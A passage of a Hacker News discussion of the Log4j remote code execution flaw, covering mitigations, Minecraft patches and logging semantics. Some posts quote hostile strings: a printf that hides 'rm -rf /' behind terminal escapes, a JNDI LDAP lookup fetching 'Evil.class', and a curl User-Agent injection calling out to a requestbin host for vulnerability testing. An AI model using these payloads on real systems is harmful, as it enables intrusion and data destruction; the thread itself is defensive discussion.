Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Log4j RCE Found

lunasec.io

Post reply on HN
Print view View original

191–200 of 531 posts

Re: Log4j RCE Found

#191

Post by ximm »

hawk_ wrote: post #110
jrockway wrote: post #76

So a lot of people sound mad that the logging library is parsing the inputs, and maybe they should be, but the truly paranoid should also be aware that your terminal also parses every byte given to it (to find in-band signalling for colors, window titles, where the cursor should be, etc.). This means that if a malicious user can control log lines, they can also hide stuff if you're looking at the logs in a terminal.…

While that's an interesting vector for attack, is it realistically an issue? Terminals are run as root all the time. I would guess any mainstream ones are well reviewed to not have such exploits work. Are you aware of any actual attacks exploiting terminal parsing in the wild?

Classic confusion: terminals typically run as users, but the shells in them often run as root.

I could imagine an attack like this:

printf 'rm -rf /\n\033[%iAecho "Hello World!"\n'

When executed in a terminal this looks like it generates an innocent shell script. But when piped into a file and the executed it will delete all your files.

Re: Log4j RCE Found

#192

Post by antocv »

janstice wrote: post #158

From a quick look at the lunasec page, it looks we can mitigate by blocking outbound LDAP traffic to unknown destinations?

Not by blocking outbound ldap by port, because ldap://hurrdurr:443/Evil.class

Re: Log4j RCE Found

#193

Post by ginko »

creatonez wrote: post #139
bullen wrote: post #133

Earlier quoted context omitted.

So is this fixed in 1.18?

The vanilla launcher will automatically patch 1.12 to 1.18, and 1.18.1 includes a specific permanent fix for it by switching to a newer Log4j version. There is a workaround that fixes it for 1.13 to 1.18 only: Simply add `-Dlog4j2.formatMsgNoLookups=true` to your Java parameters What about Minecraft not use any Minecraft versions before 1.12 right now. [1]: https://twitter.com/slicedlime/status/1469150995842310144

This will be a pain for MC speedrunning where older versions are still quite popular AFAIK.

Re: Log4j RCE Found

#194

Post by rcxdude »

ginko wrote: post #193
creatonez wrote: post #139

Earlier quoted context omitted.

The vanilla launcher will automatically patch 1.12 to 1.18, and 1.18.1 includes a specific permanent fix for it by switching to a newer Log4j version. There is a workaround that fixes it for 1.13 to 1.18 only: Simply add `-Dlog4j2.formatMsgNoLookups=true` to your Java parameters What about Minecraft not use any Minecraft versions before 1.12 right now. [1]: https://twitter.com/slicedlime/status/1469150995842310144

This will be a pain for MC speedrunning where older versions are still quite popular AFAIK.

MC speed running isn't usually done on a publically accesible server though

Re: Log4j RCE Found

#195

Post by philh »

jffry wrote: post #77
morpheuskafka wrote: post #57

Anyone know of a quick way to test this just to see if it will hit the URL without setting up any exploit server to actually send any code? I guess you'd need something that reports when the DNS name gets hit (like how a DNS leak test works) but I can't find any services to do that.

Looks like https://requestbin.net/dns is what you want, no? I set one up (free, no account) and then when I did an nslookup or curl I saw the DNS hits coming in

I don't really know what's going on here, so to clarify... it gives "simple checking example"

    nslookup mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net
but when I run that in my terminal I get the response

    ;; Got SERVFAIL reply from 83.146.21.6, trying next server
    Server:  212.158.248.6
    Address: 212.158.248.6#53

    ** server can't find mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net: SERVFAIL
And nothing shows up in "received data" on the website.

Is that expected? Should I be running the dnsbinclient.py they provide? (I don't have the websocket module installed right now.) I did run `curl a54c4d391bad1b48ebc3.d.requestbin.net` before the nslookup, could that have made a difference here?

Re: Log4j RCE Found

#196

Post by mainde »

ginko wrote: post #193
creatonez wrote: post #139

Earlier quoted context omitted.

The vanilla launcher will automatically patch 1.12 to 1.18, and 1.18.1 includes a specific permanent fix for it by switching to a newer Log4j version. There is a workaround that fixes it for 1.13 to 1.18 only: Simply add `-Dlog4j2.formatMsgNoLookups=true` to your Java parameters What about Minecraft not use any Minecraft versions before 1.12 right now. [1]: https://twitter.com/slicedlime/status/1469150995842310144

This will be a pain for MC speedrunning where older versions are still quite popular AFAIK.

Speedruners don't play on public servers I imagine?

Re: Log4j RCE Found

#197

Post by philh »

philh wrote: post #195
jffry wrote: post #77

Earlier quoted context omitted.

Looks like https://requestbin.net/dns is what you want, no? I set one up (free, no account) and then when I did an nslookup or curl I saw the DNS hits coming in

I don't really know what's going on here, so to clarify... it gives "simple checking example" nslookup mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net but when I run that in my terminal I get the response ;; Got SERVFAIL reply from 83.146.21.6, trying next server Server: 212.158.248.6 Address: 212.158.248.6#53 ** server can't find mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net: SERVFAIL And nothing shows up in "re…

Like, my understanding from reading the thread was that I'd be able to run this and make requests to my servers setting my User-Agent, like

    curl -A '${jndi:ldap:test.a54c4d391bad1b48ebc3.d.requestbin.net/abc}' https://my-service.net
and if they're vulnerable (at least through logging user-agents, I know there are other possible avenues) something would show up on the website. Is it more complicated than that?

Re: Log4j RCE Found

#198

Post by [deleted] »

brabel wrote: post #175
lewisjoe wrote: post #163

To folks wondering what the issue is about, I'll give a short summary that I myself needed. Typically a logging library has one job to do: swallow the string as if it's some black box and spit it elsewhere as per provided configurations. Log4j though, doesn't treat strings as black boxes. It inspects its contents and checks if it contains any "variables" that need to be resolved before spitting out. Now there's a bun…

These "special" strings that Log4j parse must be in the formatting string though, right? External Strings should normally be logged as parameters, not included in the format String. For example: // this is ok log.debug("user-agent={}", userAgent); // this is bad log.debug("user-agent=" + userAgent); Does this vulnerability still work on the first case? EDIT: the answer is yes, just tried it myself.

[deleted]

Re: Log4j RCE Found

#199

Post by vincnetas »

brabel wrote: post #175
lewisjoe wrote: post #163

To folks wondering what the issue is about, I'll give a short summary that I myself needed. Typically a logging library has one job to do: swallow the string as if it's some black box and spit it elsewhere as per provided configurations. Log4j though, doesn't treat strings as black boxes. It inspects its contents and checks if it contains any "variables" that need to be resolved before spitting out. Now there's a bun…

These "special" strings that Log4j parse must be in the formatting string though, right? External Strings should normally be logged as parameters, not included in the format String. For example: // this is ok log.debug("user-agent={}", userAgent); // this is bad log.debug("user-agent=" + userAgent); Does this vulnerability still work on the first case? EDIT: the answer is yes, just tried it myself.

wow it's like SQL injection but even when using user input as parameter it does not get sanitised. Really curious what was motivation for such behaviour.

Re: Log4j RCE Found

#200

Post by JanecekPetr »

kelnos wrote: post #187

On one hand I want to be more forgiving of this, because log4j is very old, and likely this feature was introduced well before we all had a collective understanding of how fiddly and difficult security can be, and how attackers will go to extreme effort to compromise our services. But at the same time... c'mon. A logging framework's job is to ship strings to stdout or files or something. String interpolation should n…

No, this is about log4j2 which is kinda new (2.0.0 was released 2014). Otherwise, yeah, this is terrible, especially since the tag doesn't even have to be in the formatting string.
Post reply on HN